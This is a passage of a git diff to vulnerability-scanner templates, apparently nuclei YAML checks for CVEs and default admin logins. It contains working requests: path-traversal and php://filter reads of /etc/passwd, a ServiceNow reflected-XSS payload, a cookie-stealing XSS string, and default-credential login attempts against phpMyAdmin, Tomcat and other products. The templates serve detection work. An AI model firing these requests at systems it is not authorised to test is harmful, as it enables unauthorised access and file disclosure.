"true" + tags: cve,cve2022,shirnecms,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "cm9vd" # root in base64 + + - type: word + part: header + words: + - "image/png" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-38463.yaml b/cves/2022/CVE-2022-38463.yaml new file mode 100644 index 0000000000..bf4f73caf7 --- /dev/null +++ b/cves/2022/CVE-2022-38463.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-38463 + +info: + name: ServiceNow - Cross-Site Scripting + author: amanrawat + severity: medium + description: | + There exists a reflected XSS within the logout functionality of ServiceNow. This enables an unauthenticated remote attacker to execute arbitrary JavaScript. + reference: + - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793 + - https://nvd.nist.gov/vuln/detail/CVE-2022-38463 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-38463 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"ServiceNow" + verified: "true" + tags: cve,cve2022,servicenow,xss +requests: + - method: GET + path: + - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "top.location.href = 'javascript:alert(document.domain)';" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-38794.yaml b/cves/2022/CVE-2022-38794.yaml new file mode 100644 index 0000000000..a2ad74156a --- /dev/null +++ b/cves/2022/CVE-2022-38794.yaml @@ -0,0 +1,34 @@ +id: CVE-2022-38794 + +info: + name: Zaver - Local File Inclusion + author: pikpikcu + severity: high + description: | + Zaver through 2020-12-15 allows directory traversal via the GET /.. substring. + reference: + - https://github.com/zyearn/zaver/issues/22 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38794 + - https://nvd.nist.gov/vuln/detail/CVE-2022-38794 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-38794 + cwe-id: CWE-22 + tags: cve,cve2022,lfi,zaver + +requests: + - method: GET + path: + - '{{BaseURL}}/../../../../../../../../etc/passwd' + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/default-logins/3com/3com-nj2000-default-login.yaml b/default-logins/3com/3com-nj2000-default-login.yaml new file mode 100644 index 0000000000..2a4a0f802c --- /dev/null +++ b/default-logins/3com/3com-nj2000-default-login.yaml @@ -0,0 +1,36 @@ +id: 3com-nj2000-default-login + +info: + name: 3COM NJ2000 Default Login + author: daffainfo + severity: high + description: 3COM NJ2000 default admin credentials were discovered. + reference: + - https://www.manualslib.com/manual/204158/3com-Intellijack-Nj2000.html?page=12 + metadata: + verified: true + shodan-query: http.title:"ManageEngine Password" + fofa-query: body="NJ2000" + tags: default-login,3com,nj2000 + +requests: + - raw: + - | + POST /login.html HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + password=password + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '3Com Corporation Web Interface' + - '' + condition: and + + - type: status + status: + - 200 diff --git a/default-logins/UCMDB/ucmdb-default-login.yaml b/default-logins/UCMDB/ucmdb-default-login.yaml index 7f92b3251a..237c8dd9ae 100644 --- a/default-logins/UCMDB/ucmdb-default-login.yaml +++ b/default-logins/UCMDB/ucmdb-default-login.yaml @@ -10,7 +10,7 @@ info: - https://packetstormsecurity.com/files/161182/Micro-Focus-UCMDB-Remote-Code-Execution.htm classification: cwe-id: CWE-798 - tags: ucmdb,default-login + tags: ucmdb,default-login,packetstorm requests: - raw: diff --git a/default-logins/abb/cs141-default-login.yaml b/default-logins/abb/cs141-default-login.yaml index 9143fa25bb..e1b0cd0547 100644 --- a/default-logins/abb/cs141-default-login.yaml +++ b/default-logins/abb/cs141-default-login.yaml @@ -10,7 +10,7 @@ info: classification: cwe-id: CWE-798 metadata: - shodan-query: https://www.shodan.io/search?query=html%3A%22CS141%22 + shodan-query: http.html:"CS141" tags: hiawatha,iot,default-login requests: diff --git a/default-logins/apache/dubbo-admin-default-login.yaml b/default-logins/apache/dubbo-admin-default-login.yaml index 0ed4d68121..adce2c9d73 100644 --- a/default-logins/apache/dubbo-admin-default-login.yaml +++ b/default-logins/apache/dubbo-admin-default-login.yaml @@ -1,11 +1,16 @@ id: dubbo-admin-default-login info: - name: Dubbo Admin Default Login + name: Apache Dubbo - Default Admin Discovery author: ritikchaddha severity: high + description: Apache Dubbo default admin credentials were discovered. reference: - https://www.cnblogs.com/wishwzp/p/9438658.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: dubbo,apache,default-login requests: @@ -37,3 +42,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/default-logins/apache/ranger-default-login.yaml b/default-logins/apache/ranger-default-login.yaml index 5edd99329e..34e46cbd76 100644 --- a/default-logins/apache/ranger-default-login.yaml +++ b/default-logins/apache/ranger-default-login.yaml @@ -1,39 +1,39 @@ -id: ranger-default-login +id: ranger-default-login -info: - name: Apache Ranger Default Login - author: For3stCo1d - severity: high - reference: https://github.com/apache/ranger - metadata: - shodan-query: http.title:"Ranger - Sign In" - tags: apache,ranger,default-login +info: + name: Apache Ranger Default Login + author: For3stCo1d + severity: high + reference: https://github.com/apache/ranger + metadata: + shodan-query: http.title:"Ranger - Sign In" + tags: apache,ranger,default-login -requests: - - raw: - - | - POST /login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - username={{user}}&password={{pass}} - - attack: pitchfork - payloads: - user: - - admin - pass: - - admin - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"statusCode":200' - - '"msgDesc":"Login Successful"' - condition: and - - - type: status - status: - - 200 +requests: + - raw: + - | + POST /login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + username={{user}}&password={{pass}} + + attack: pitchfork + payloads: + user: + - admin + pass: + - admin + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"statusCode":200' + - '"msgDesc":"Login Successful"' + condition: and + + - type: status + status: + - 200 diff --git a/default-logins/apache/tomcat-default-login.yaml b/default-logins/apache/tomcat-default-login.yaml index 5beb8f24ea..96a98e2ffa 100644 --- a/default-logins/apache/tomcat-default-login.yaml +++ b/default-logins/apache/tomcat-default-login.yaml @@ -1,12 +1,14 @@ id: tomcat-default-login info: - name: ApahceTomcat Manager Default Login + name: Apache Tomcat Manager Default Login author: pdteam severity: high description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations. reference: - https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/ + metadata: + shodan-query: title:"Apache Tomcat" tags: tomcat,apache,default-login requests: diff --git a/default-logins/apache/tomcat-examples-login.yaml b/default-logins/apache/tomcat-examples-login.yaml new file mode 100644 index 0000000000..1f4b7e7c4d --- /dev/null +++ b/default-logins/apache/tomcat-examples-login.yaml @@ -0,0 +1,44 @@ +id: tomcat-examples-login + +info: + name: Tomcat Examples Default Login + author: 0xelkomy & C0NQR0R + severity: info + description: Default Creds and there is XSS here, /examples/jsp/security/protected/index.jsp?dataName=%22%3E%3Cimg+src%3Dd+onerror%3Dalert%28document.cookie%29%3E&dataValue= after you login you will be able to get it. + reference: + - https://c0nqr0r.github.io/CVE-2022-34305/ + metadata: + verified: true + tags: default-login,tomcat + +requests: + - raw: + - | + GET /examples/jsp/security/protected/index.jsp HTTP/1.1 + Host: {{Hostname}} + + - | + POST /examples/jsp/security/protected/j_security_check HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + j_username={{username}}&j_password={{password}} + + attack: pitchfork + payloads: + username: + - tomcat + password: + - tomcat + + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "You are logged in as remote user" + - "{{username}}" + condition: and diff --git a/default-logins/audiocodes/audiocodes-default-login.yaml b/default-logins/audiocodes/audiocodes-default-login.yaml new file mode 100644 index 0000000000..9a00378ea6 --- /dev/null +++ b/default-logins/audiocodes/audiocodes-default-login.yaml @@ -0,0 +1,45 @@ +id: audiocodes-default-login + +info: + name: Audiocodes 310HD, 320HD, 420HD, 430HD & 440HD Default Login + author: d4vy + severity: high + description: Audiocodes 310HD, 320HD, 420HD, 430HD & 440HD default login credentials were discovered. + reference: + - https://wiki.freepbx.org/display/FPG/Supported+Devices-Audio+Codes#:~:text=Reset%20to%20Factory%20Defaults,-Press%20the%20Menu&text=Then%2C%20enter%20the%20Admin%20password,is%20%221234%22%20by%20default + classification: + cwe-id: CWE-798 + tags: iot,audiocodes,default-login + +requests: + - raw: + - | + POST /login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + user={{username}}&psw={{url_encode(base64("{{password}}"))}} + + attack: pitchfork + payloads: + username: + - admin + password: + - "1234" + + unsafe: true + matchers-condition: and + matchers: + - type: word + words: + - "redirect('/mainform.cgi?go=mainframe.htm')" + + - type: word + part: body + negative: true + words: + - "Login failed. Check username and password" + + - type: status + status: + - 200 diff --git a/default-logins/azkaban/azkaban-default-login.yaml b/default-logins/azkaban/azkaban-default-login.yaml index c524be5d45..be127dd034 100644 --- a/default-logins/azkaban/azkaban-default-login.yaml +++ b/default-logins/azkaban/azkaban-default-login.yaml @@ -5,10 +5,10 @@ info: author: pussycat0x severity: high description: Azkaban is a batch workflow job scheduler created at LinkedIn to run Hadoop jobs. Default web client credentials were discovered. - reference: - - https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 classification: cwe-id: CWE-798 + metadata: + shodan-query: http.title:"Azkaban Web Client" tags: default-login,azkaban requests: diff --git a/default-logins/cobbler/cobbler-default-login.yaml b/default-logins/cobbler/cobbler-default-login.yaml index 2cfe8ba153..aac1ea56c2 100644 --- a/default-logins/cobbler/cobbler-default-login.yaml +++ b/default-logins/cobbler/cobbler-default-login.yaml @@ -11,7 +11,7 @@ info: - https://github.com/cobbler/cobbler/issues/2909 classification: cwe-id: CWE-798 - tags: cobbler,default-login,api + tags: cobbler,default-login,api,seclists requests: - raw: diff --git a/default-logins/fuelcms/fuelcms-default-login.yaml b/default-logins/fuelcms/fuelcms-default-login.yaml index c46140539c..69bbdf24b8 100644 --- a/default-logins/fuelcms/fuelcms-default-login.yaml +++ b/default-logins/fuelcms/fuelcms-default-login.yaml @@ -1,12 +1,16 @@ id: fuelcms-default-login info: - name: Fuel CMS Default Credentials + name: Fuel CMS - Default Admin Discovery author: Adam Crosser severity: high description: Fuel CMS default admin credentials were discovered. reference: - https://docs.getfuelcms.com/general/security + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: fuelcms,default-login,oss requests: @@ -54,3 +58,5 @@ requests: group: 1 regex: - 'id="ci_csrf_token_FUEL" value="([0-9a-z]+)" \/>' + +# Enhanced by mp on 2022/07/15 diff --git a/default-logins/grafana/grafana-default-login.yaml b/default-logins/grafana/grafana-default-login.yaml index c6f47b7acd..2dfb0b7a4d 100644 --- a/default-logins/grafana/grafana-default-login.yaml +++ b/default-logins/grafana/grafana-default-login.yaml @@ -13,6 +13,8 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + shodan-query: title:"Grafana" tags: grafana,default-login requests: diff --git a/default-logins/hybris/hybris-default-login.yaml b/default-logins/hybris/hybris-default-login.yaml new file mode 100644 index 0000000000..d05cb64835 --- /dev/null +++ b/default-logins/hybris/hybris-default-login.yaml @@ -0,0 +1,62 @@ +id: hybris-default-login + +info: + name: Hybris Default Login + author: princechaddha + severity: high + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + verified: true + shodan-query: title:"Hybris" + tags: default-login,hybris + +requests: + - raw: + - | + GET /login HTTP/1.1 + Host: {{Hostname}} + + - | + POST /j_spring_security_check HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + Referer: {{BaseURL}}login + + j_username={{username}}&j_password={{password}}&_csrf={{csrftoken}} + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + + attack: pitchfork + payloads: + username: + - admin + password: + - nimda + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + words: + - "hybris administration console" + - "You're Administrator" + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + name: csrftoken + internal: true + part: body + group: 1 + regex: + - '' diff --git a/default-logins/jinher-oa-default-login.yaml b/default-logins/jinher-oa-default-login.yaml index 7c604317dc..391fbafc43 100644 --- a/default-logins/jinher-oa-default-login.yaml +++ b/default-logins/jinher-oa-default-login.yaml @@ -1,12 +1,16 @@ id: jinher-oa-default-login info: - name: Jinher oa C6 Default Password + name: Jinher-OA C6 - Default Admin Discovery author: ritikchaddha severity: high - description: Jinher-OA C6 default administrator account credential. + description: Jinher-OA C6 default admin credentials were discovered. reference: - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 tags: jinher,default-login requests: @@ -42,3 +46,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/default-logins/jupyterhub/jupyterhub-default-login.yaml b/default-logins/jupyterhub/jupyterhub-default-login.yaml index fa7f7c44b0..5ca1422013 100644 --- a/default-logins/jupyterhub/jupyterhub-default-login.yaml +++ b/default-logins/jupyterhub/jupyterhub-default-login.yaml @@ -1,11 +1,16 @@ id: jupyterhub-default-login info: - name: Jupyterhub Default Login + name: Jupyterhub - Default Admin Discovery author: For3stCo1d severity: high + description: Jupyterhub default admin credentials were discovered. reference: - https://github.com/jupyterhub/jupyterhub + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: shodan-query: http.title:"JupyterHub" tags: jupyterhub,default-login @@ -38,4 +43,6 @@ requests: - type: status status: - - 302 \ No newline at end of file + - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/default-logins/kettle/kettle-default-login.yaml b/default-logins/kettle/kettle-default-login.yaml new file mode 100644 index 0000000000..2bc0ed7d38 --- /dev/null +++ b/default-logins/kettle/kettle-default-login.yaml @@ -0,0 +1,35 @@ +id: kettle-default-login + +info: + name: Kettle Default Login + author: For3stCo1d + severity: medium + metadata: + verified: true + shodan-query: basic realm="Kettle" + tags: default-login,kettle + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + + attack: pitchfork + payloads: + username: + - cluster + password: + - cluster + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Kettle slave server' + + - type: status + status: + - 200 diff --git a/default-logins/minio/minio-default-login.yaml b/default-logins/minio/minio-default-login.yaml index 9dce961de7..62b74d889d 100644 --- a/default-logins/minio/minio-default-login.yaml +++ b/default-logins/minio/minio-default-login.yaml @@ -3,7 +3,7 @@ id: minio-default-login info: name: Minio Default Login author: pikpikcu - severity: medium + severity: high description: Minio default admin credentials were discovered. reference: - https://docs.min.io/docs/minio-quickstart-guide.html# diff --git a/default-logins/octobercms-default-login.yaml b/default-logins/octobercms-default-login.yaml new file mode 100644 index 0000000000..2fde8c095b --- /dev/null +++ b/default-logins/octobercms-default-login.yaml @@ -0,0 +1,66 @@ +id: octobercms-default-login + +info: + name: OctoberCMS - Default Admin Discovery + author: princechaddha + severity: high + description: OctoberCMS default admin credentials were discovered. + reference: + - https://github.com/octobercms/october + - https://octobercms.com/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + verified: true + shodan-query: http.component:"October CMS" + tags: octobercms,default-login,oss + +requests: + - raw: + - | + GET /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + - | + POST /backend/backend/auth/signin HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + _token={{token}}&postback=1&login={{username}}&password={{password}} + + cookie-reuse: true + attack: clusterbomb + payloads: + username: + - admin + password: + - admin + - "" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "october_session=" + - "admin_auth=" + condition: and + + - type: status + status: + - 302 + + extractors: + - type: regex + part: body + name: token + internal: true + group: 1 + regex: + - 'meta name="csrf\-token" content="([A-Za-z0-9]+)">' + +# Enhanced by mp on 2022/07/15 diff --git a/default-logins/ofbiz/ofbiz-default-login.yaml b/default-logins/ofbiz/ofbiz-default-login.yaml index 11a9d6b80f..ee563306b5 100644 --- a/default-logins/ofbiz/ofbiz-default-login.yaml +++ b/default-logins/ofbiz/ofbiz-default-login.yaml @@ -3,7 +3,7 @@ id: ofbiz-default-login info: name: Apache OfBiz Default Login author: pdteam - severity: medium + severity: high description: Apache OfBiz default admin credentials were discovered. reference: - https://cwiki.apache.org/confluence/display/OFBIZ/Apache+OFBiz+Technical+Production+Setup+Guide diff --git a/default-logins/openemr/openemr-default-login.yaml b/default-logins/openemr/openemr-default-login.yaml index 5a08aa24f2..3eff5c8e62 100644 --- a/default-logins/openemr/openemr-default-login.yaml +++ b/default-logins/openemr/openemr-default-login.yaml @@ -1,9 +1,9 @@ id: openemr-default-login info: - name: OpenEMR Default Login + name: OpenEMR - Default Admin Discovery author: Geekby - description: OpenEMR default login was discovered. + description: OpenEMR default admin credentials were discovered. severity: high reference: - https://github.com/openemr/openemr-devops/tree/master/docker/openemr/6.1.0/#openemr-official-docker-image @@ -44,3 +44,5 @@ requests: - type: status status: - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/default-logins/openwrt/openwrt-default-login.yaml b/default-logins/openwrt/openwrt-default-login.yaml index a9e9dce71d..e78d5fca05 100644 --- a/default-logins/openwrt/openwrt-default-login.yaml +++ b/default-logins/openwrt/openwrt-default-login.yaml @@ -1,14 +1,15 @@ id: openwrt-default-login info: - name: Opentwrt Default Login + name: Opentwrt - Admin Login Page author: For3stCo1d severity: high + description: An Opentwrt admin login page was discovered. reference: - https://forum.archive.openwrt.org/viewtopic.php?id=16611 metadata: shodan-query: http.title:"OpenWrt - LuCI" - tags: openwrt,default-login + tags: default-login,openwrt requests: - method: GET @@ -18,4 +19,6 @@ requests: matchers: - type: word words: - - 'cgi-bin/luci/admin/system/admin' \ No newline at end of file + - 'cgi-bin/luci/admin/system/admin' + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/others/inspur-clusterengine-default-login.yaml b/default-logins/others/inspur-clusterengine-default-login.yaml index bbda3dd5e1..310c6e63d5 100644 --- a/default-logins/others/inspur-clusterengine-default-login.yaml +++ b/default-logins/others/inspur-clusterengine-default-login.yaml @@ -1,14 +1,15 @@ id: inspur-clusterengine-default-login info: - name: Inspur Clusterengine V4 Default Login + name: Inspur Clusterengine 4 - Default Admin Login author: ritikchaddha severity: high + description: Inspur Clusterengine version 4 default admin login credentials were successful. reference: - https://blog.csdn.net/qq_36197704/article/details/115665793 metadata: fofa-query: title="TSCEV4.0" - tags: inspur,clusterengine,default-login + tags: default-login,inspur,clusterengine requests: - raw: @@ -43,3 +44,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/others/panabit-ixcache-default-login.yaml b/default-logins/others/panabit-ixcache-default-login.yaml index 6ca7af1572..51df75ca18 100644 --- a/default-logins/others/panabit-ixcache-default-login.yaml +++ b/default-logins/others/panabit-ixcache-default-login.yaml @@ -1,12 +1,13 @@ id: panabit-ixcache-default-login info: - name: Panabit iXCache Default Login + name: Panabit iXCache - Default Admin Login author: ritikchaddha severity: high + description: Panabit iXCache default admin login credentials were successful. reference: - http://forum.panabit.com/thread-10830-1-1.html - tags: ixcache,default-login,panabit + tags: default-login,ixcache,panabit requests: - raw: @@ -16,12 +17,12 @@ requests: username={{username}}&password={{password}} + attack: pitchfork payloads: username: - admin password: - ixcache - attack: pitchfork matchers-condition: and matchers: @@ -34,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/others/secnet-ac-default-login.yaml b/default-logins/others/secnet-ac-default-login.yaml index 685125e478..b1a4475d8c 100644 --- a/default-logins/others/secnet-ac-default-login.yaml +++ b/default-logins/others/secnet-ac-default-login.yaml @@ -1,13 +1,13 @@ id: secnet-ac-default-password info: - name: secnet-ac-default-password + name: secnet ac - Default Admin Login author: ritikchaddha severity: high - description: secnet ac default admin credentials were discovered. + description: secnet ac default admin credentials were successful. reference: - https://bbs.secnet.cn/post/t-30 - tags: secnet,default-login + tags: default-login,secnet requests: - raw: @@ -40,3 +40,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/others/telecom-gateway-default-login.yaml b/default-logins/others/telecom-gateway-default-login.yaml index 08f2ecd266..93f096ed63 100644 --- a/default-logins/others/telecom-gateway-default-login.yaml +++ b/default-logins/others/telecom-gateway-default-login.yaml @@ -1,10 +1,11 @@ id: telecom-gateway-default-login info: - name: Telecom Gateway Default Login + name: Telecom Gateway - Default Admin Login author: ritikchaddha severity: high - tags: telecom,default-login,gateway + description: Telecom Gateway default admin login credentials were successful. + tags: default-login,telecom,gateway requests: - raw: @@ -20,6 +21,7 @@ requests: - admin password: - admin + redirects: true max-redirects: 2 matchers-condition: and @@ -35,3 +37,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/phpmyadmin/phpmyadmin-default-login.yaml b/default-logins/phpmyadmin/phpmyadmin-default-login.yaml new file mode 100644 index 0000000000..6ee0117dde --- /dev/null +++ b/default-logins/phpmyadmin/phpmyadmin-default-login.yaml @@ -0,0 +1,73 @@ +id: phpmyadmin-default-login + +info: + name: phpMyAdmin Default Login + author: Natto97 + severity: high + description: phpMyAdmin default admin credentials were discovered + reference: + - https://www.phpmyadmin.net + metadata: + verified: true + shodan-query: http.title:phpMyAdmin + tags: default-login,phpmyadmin + + +requests: + - raw: + - | + GET /index.php HTTP/1.1 + Host: {{Hostname}} + + - | + POST /index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Cookie: phpMyAdmin={{token2}}; pma_lang=en + + set_session={{session}}&pma_username={{user}}&pma_password={{password}}&server=1&route=%2F&token={{token}} + + attack: clusterbomb + payloads: + user: + - root + - mysql + password: + - 123456 + - root + - mysql + - toor + + extractors: + - type: regex + name: token + internal: true + group: 1 + regex: + - 'name="token" value="([0-9a-z]+)"' + + - type: regex + name: token2 + internal: true + group: 1 + regex: + - 'name="set_session" value="([0-9a-z]+)"' + + - type: regex + name: session + part: header + internal: true + group: 1 + regex: + - "phpMyAdmin=([0-9a-z]+)" + + req-condition: true + stop-at-first-match: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - contains(all_headers_2, "phpMyAdmin=") && contains(all_headers_2, "pmaUser-1=") + - status_code_2 == 302 + - contains(all_headers_2, 'index.php?collation_connection=utf8mb4_unicode_ci') || contains(all_headers_2, '/index.php?route=/&route=%2F') + condition: and diff --git a/default-logins/rainloop/rainloop-default-login.yaml b/default-logins/rainloop/rainloop-default-login.yaml index ad0cf18a01..7cecc449ad 100644 --- a/default-logins/rainloop/rainloop-default-login.yaml +++ b/default-logins/rainloop/rainloop-default-login.yaml @@ -1,14 +1,16 @@ id: rainloop-default-login info: - name: Rainloop WebMail Default Login + name: Rainloop WebMail - Default Admin Login author: For3stCo1d severity: high + description: Rainloop WebMail default admin login credentials were successful. reference: - https://github.com/RainLoop/rainloop-webmail/issues/28 metadata: + verified: true fofa-query: app="RAINLOOP-WebMail" - tags: rainloop,webmail,default-login,foss + tags: default-login,rainloop,webmail,foss requests: - raw: @@ -50,4 +52,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/seeddms/seeddms-default-login.yaml b/default-logins/seeddms/seeddms-default-login.yaml index 9b37bf93bc..3ec3b79fbb 100644 --- a/default-logins/seeddms/seeddms-default-login.yaml +++ b/default-logins/seeddms/seeddms-default-login.yaml @@ -12,6 +12,8 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + shodan-query: http.title:"SeedDMS" tags: default-login,seeddms requests: diff --git a/default-logins/supermicro/supermicro-default-login.yaml b/default-logins/supermicro/supermicro-default-login.yaml index 14c7e91cd3..96567eaaac 100644 --- a/default-logins/supermicro/supermicro-default-login.yaml +++ b/default-logins/supermicro/supermicro-default-login.yaml @@ -1,9 +1,10 @@ id: supermicro-default-login info: - name: Supermicro Ipmi Default Login + name: Supermicro Ipmi - Default Admin Login author: For3stCo1d severity: high + description: Supermicro Ipmi default admin login credentials were successful. reference: - https://www.gearprimer.com/wiki/supermicro-ipmi-default-username-pasword/ tags: supermicro,default-login @@ -39,3 +40,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/weblogic/weblogic-weak-login.yaml b/default-logins/weblogic/weblogic-weak-login.yaml index 558792b844..942e5a6350 100644 --- a/default-logins/weblogic/weblogic-weak-login.yaml +++ b/default-logins/weblogic/weblogic-weak-login.yaml @@ -12,7 +12,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 - tags: default-login,weblogic + tags: default-login,weblogic,vulhub requests: - raw: diff --git a/default-logins/wildfly/wildfly-default-login.yaml b/default-logins/wildfly/wildfly-default-login.yaml new file mode 100644 index 0000000000..bc21012112 --- /dev/null +++ b/default-logins/wildfly/wildfly-default-login.yaml @@ -0,0 +1,40 @@ +id: wildfly-default-login + +info: + name: Wildfly - Default Admin Login + author: s0obi + severity: high + description: | + Wildfly default admin login credentials were successful. + reference: + - https://docs.wildfly.org/26.1/#administrator-guides + tags: wildfly,default-login + +requests: + - raw: + - | + GET /management HTTP/1.1 + Host: {{Hostname}} + + digest-username: admin + digest-password: admin + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "management-major-version" + - "product-version" + condition: and + + - type: word + part: header + words: + - "application/json" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/04 diff --git a/default-logins/xxljob/xxljob-default-login.yaml b/default-logins/xxljob/xxljob-default-login.yaml index 9cf9eadb12..23a8a8d22c 100644 --- a/default-logins/xxljob/xxljob-default-login.yaml +++ b/default-logins/xxljob/xxljob-default-login.yaml @@ -2,7 +2,7 @@ id: xxljob-default-login info: name: XXL-JOB Default Login - author: pdteam + author: pdteam,ritikchaddha severity: high description: XXL-JOB default admin credentials were discovered. reference: @@ -11,6 +11,9 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + verified: true + shodan-query: http.favicon.hash:1691956220 tags: default-login,xxljob requests: @@ -22,13 +25,21 @@ requests: userName={{username}}&password={{password}} + - | + POST /login HTTP/1.1 + Host:{{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + userName={{username}}&password={{password}} + + attack: pitchfork payloads: username: - admin password: - 123456 - attack: pitchfork + stop-at-first-match: true matchers-condition: and matchers: - type: word @@ -39,10 +50,10 @@ requests: condition: and - type: word + part: header words: - 'application/json' - 'XXL_JOB_LOGIN_IDENTITY' - part: header condition: and - type: status diff --git a/dns/cname-fingerprint.yaml b/dns/cname-fingerprint.yaml index 7f03f7f68f..7220ee19ed 100644 --- a/dns/cname-fingerprint.yaml +++ b/dns/cname-fingerprint.yaml @@ -14,7 +14,7 @@ info: dns: - name: "{{FQDN}}" - type: NS + type: CNAME matchers: - type: word diff --git a/dns/cname-service-detection.yaml b/dns/cname-service.yaml similarity index 84% rename from dns/cname-service-detection.yaml rename to dns/cname-service.yaml index 4a441a0b4d..0ba0b40edf 100644 --- a/dns/cname-service-detection.yaml +++ b/dns/cname-service.yaml @@ -1,4 +1,4 @@ -id: cname-service-detection +id: cname-service info: name: CNAME Service Detection @@ -37,4 +37,9 @@ dns: words: - "wixdns.net" + - type: word + name: salesforce-community + words: + - "live.siteforce.com" + # Enhanced by mp on 2022/03/13 diff --git a/exposed-panels/3g-wireless-gateway.yaml b/exposed-panels/3g-wireless-gateway.yaml index d8675d9ba9..234b7e4dad 100644 --- a/exposed-panels/3g-wireless-gateway.yaml +++ b/exposed-panels/3g-wireless-gateway.yaml @@ -9,7 +9,7 @@ info: - https://www.exploit-db.com/ghdb/7050 classification: cwe-id: CWE-200 - tags: panel,router + tags: panel,router,edb requests: - method: GET diff --git a/technologies/achecker-detect.yaml b/exposed-panels/achecker-panel.yaml similarity index 84% rename from technologies/achecker-detect.yaml rename to 